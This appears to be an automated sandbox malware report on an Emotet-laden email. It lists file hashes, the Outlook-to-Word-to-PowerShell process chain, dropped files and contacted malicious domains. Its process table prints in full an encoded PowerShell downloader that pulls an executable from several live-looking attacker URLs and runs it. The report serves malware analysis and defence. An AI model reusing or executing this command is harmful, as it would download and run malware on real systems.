File name: | message.eml |
Full analysis: | https://app.any.run/tasks/ed2fbec0-4312-40ec-aa70-d2f02e7b19ef |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | October 09, 2019, 16:23:58 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | message/rfc822 |
File info: | RFC 822 mail, ASCII text, with CRLF line terminators |
MD5: | 843C6813D7FF0AD13D013BFEA9C4D557 |
SHA1: | 0EBB6D7256F80C2911FA0402534452C955E23A6F |
SHA256: | 888A9DD39FDF9964BCD7556286D53422D5A65318275AE7B7E8EE74666EC17D80 |
SSDEEP: | 6144:u50djNeMzL2cpY5TZvfgfuJDEgxuDAJewLN:GQeMifzQYuDC |
.eml | | | E-Mail message (Var. 5) (100) |
---|
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2944 | "C:\PROGRA~1\MICROS~1\Office14\OUTLOOK.EXE" /eml "C:\Users\admin\AppData\Local\Temp\message.eml" | C:\PROGRA~1\MICROS~1\Office14\OUTLOOK.EXE | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Outlook Version: 14.0.6025.1000 | ||||
4084 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | OUTLOOK.EXE |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2404 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\7GOJFF9G\message_10032019_V8249.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | OUTLOOK.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2576 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
1056 | powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABFAHIAZwBvAG4AbwBtAGkAYwB2AHEAbQA9ACcARgBvAHIAdwBhAHIAZAB2AGoAagAnADsAJABOAG8AcgB3AGUAZwBpAGEAbgBfAEsAcgBvAG4AZQBsAGEAYQAgAD0AIAAnADIANQA5ACcAOwAkAEMAcgBlAGQAaQB0AF8AQwBhAHIAZABfAEEAYwBjAG8AdQBuAHQAagBoAGsAPQAnAEQAagBpAGIAbwB1AHQAaQBfAEYAcgBhAG4AYwBvAGoAYQAnADsAJABvAHYAZQByAHIAaQBkAGUAaQBoAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAE4AbwByAHcAZQBnAGkAYQBuAF8ASwByAG8AbgBlAGwAYQBhACsAJwAuAGUAeABlACcAOwAkAFIAZQBlAG4AZwBpAG4AZQBlAHIAZQBkAGsAegB0AD0AJwBmAHIAbwBuAHQAZQBuAGQAcQB6AG0AJwA7ACQAUABsAGEAcwB0AGkAYwBvAHIAYQA9ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBFAHQALgBXAGUAQgBjAEwASQBFAG4AdAA7ACQAUgB1AGIAYgBlAHIAZABuAHIAPQAnAGgAdAB0AHAAOgAvAC8AaAB1AGEAbgBnAGEAbwA2AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbwAxAHgANQA2ADQALwBAAGgAdAB0AHAAcwA6AC8ALwBuAGUAdgBhAG4AYQBkAGUAcwBpAGcAbgBzAC4AYwBvAG0ALwBuAHAAagBjAHEALwBwADQALwBAAGgAdAB0AHAAOgAvAC8AdgBpAGMAYQByAGgAbwBtAGUAcwAuAGMAbwBtAC8AaAB6AHcAbwBlAHcAOQAvAGsANAA3AC8AQABoAHQAdABwADoALwAvAHAAcgBlAHcAZQBuAHQAbwAuAGMAbwBtAC8AaQBtAGEAZwBlAHUAcABsAG8AYQBkAC8ANwB1AGQAcwAyADkANwA1ADIALwBAAGgAdAB0AHAAcwA6AC8ALwBvAHQAbwBtAG8AdABpAGYAbQBlAC4AYwBvAG0ALwBtAGQAbgBoAC8AMwBmADEAZQAxADYALQA0AHkANQA4AC0ANAA1ADMAOAAvADUAOQA5ADIANQA0AC8AJwAuACIAUwBgAFAATABJAHQAIgAoACcAQAAnACkAOwAkAEQAZQB2AG8AbAB2AGUAZABxAGMAcwA9ACcAQgBlAHIAawBzAGgAaQByAGUAYgBuAGYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFMAZQBjAHUAcgBpAHQAeQB3AG0AbQAgAGkAbgAgACQAUgB1AGIAYgBlAHIAZABuAHIAKQB7AHQAcgB5AHsAJABQAGwAYQBzAHQAaQBjAG8AcgBhAC4AIgBkAE8AYAB3AE4ATABPAGAAQQBEAGYAaQBsAGUAIgAoACQAUwBlAGMAdQByAGkAdAB5AHcAbQBtACwAIAAkAG8AdgBlAHIAcgBpAGQAZQBpAGgAYwApADsAJABNAGEAbABhAHkAcwBpAGEAagBmAGwAPQAnAGUAbQBiAHIAYQBjAGUAegByAGwAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABvAHYAZQByAHIAaQBkAGUAaQBoAGMAKQAuACIAbABgAEUAbgBHAHQAaAAiACAALQBnAGUAIAAzADQAOQA3ADAAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwB0AGAAQQByAHQAIgAoACQAbwB2AGUAcgByAGkAZABlAGkAaABjACkAOwAkAEIAcgBhAG4AYwBoAGEAbABmAD0AJwBIAGkAZwBoAHcAYQB5AHMAZAB2ACcAOwBiAHIAZQBhAGsAOwAkAHEAdQBhAG4AdABpAGYAeQBpAG4AZwB0AGkAbQA9ACcAZQB4AHQAZQBuAGQAcABxAGgAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAYQB0AHQAaQB0AHUAZABlAGIAcwB6AD0AJwByAGUAbABhAHQAaQBvAG4AcwBoAGkAcABzAG4AcgBmACcA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2944 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\CVR4E0D.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2944 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\tmp512B.tmp | — | |
MD5:— | SHA256:— | |||
2944 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\~DFE3DB1325416FF917.TMP | — | |
MD5:— | SHA256:— | |||
2944 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\7GOJFF9G\message_10032019_V8249 (2).doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
2944 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\~DF53ADA8102216ADF6.TMP | — | |
MD5:— | SHA256:— | |||
2944 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\~DF8966A44A84ACFF4D.TMP | — | |
MD5:— | SHA256:— | |||
2944 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\OICE_790BC095-AF0F-474C-91BB-4CAFA95C279F.0\DEB43870.doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
2944 | OUTLOOK.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$rmalEmail.dotm | pgc | |
MD5:EB4689C5F05A9A3C4AFB4B3E2475D03B | SHA256:43CE151C7EB2F1512AAFD3E330A7051D7C6C8D273469E602317B7DB39B74F359 | |||
4084 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_790BC095-AF0F-474C-91BB-4CAFA95C279F.0\~DFC9793E226AF4A7BD.TMP | — | |
MD5:— | SHA256:— | |||
4084 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_790BC095-AF0F-474C-91BB-4CAFA95C279F.0\B0828F45.wmf | wmf | |
MD5:74A3163AE4C1CCF9762EDEBA0D975D24 | SHA256:33B75CE9AB99B721793FC11D34FC05098D1EC1897E311D362231A31734155D97 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2944 | OUTLOOK.EXE | GET | — | 64.4.26.155:80 | http://config.messenger.msn.com/config/msgrconfig.asmx?op=GetOlcConfig | US | — | — | whitelisted |
1056 | powershell.exe | GET | 404 | 119.28.47.131:80 | http://huangao6.com/wp-content/o1x564/ | CN | html | 278 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2944 | OUTLOOK.EXE | 64.4.26.155:80 | config.messenger.msn.com | Microsoft Corporation | US | whitelisted |
1056 | powershell.exe | 45.40.155.145:443 | nevanadesigns.com | GoDaddy.com, LLC | US | suspicious |
1056 | powershell.exe | 119.28.47.131:80 | huangao6.com | Tencent Cloud Computing (Beijing) Co., Ltd | CN | malicious |
— | — | 45.40.155.145:443 | nevanadesigns.com | GoDaddy.com, LLC | US | suspicious |
Domain | IP | Reputation |
---|---|---|
config.messenger.msn.com |
| whitelisted |
dns.msftncsi.com |
| shared |
huangao6.com |
| malicious |
nevanadesigns.com |
| suspicious |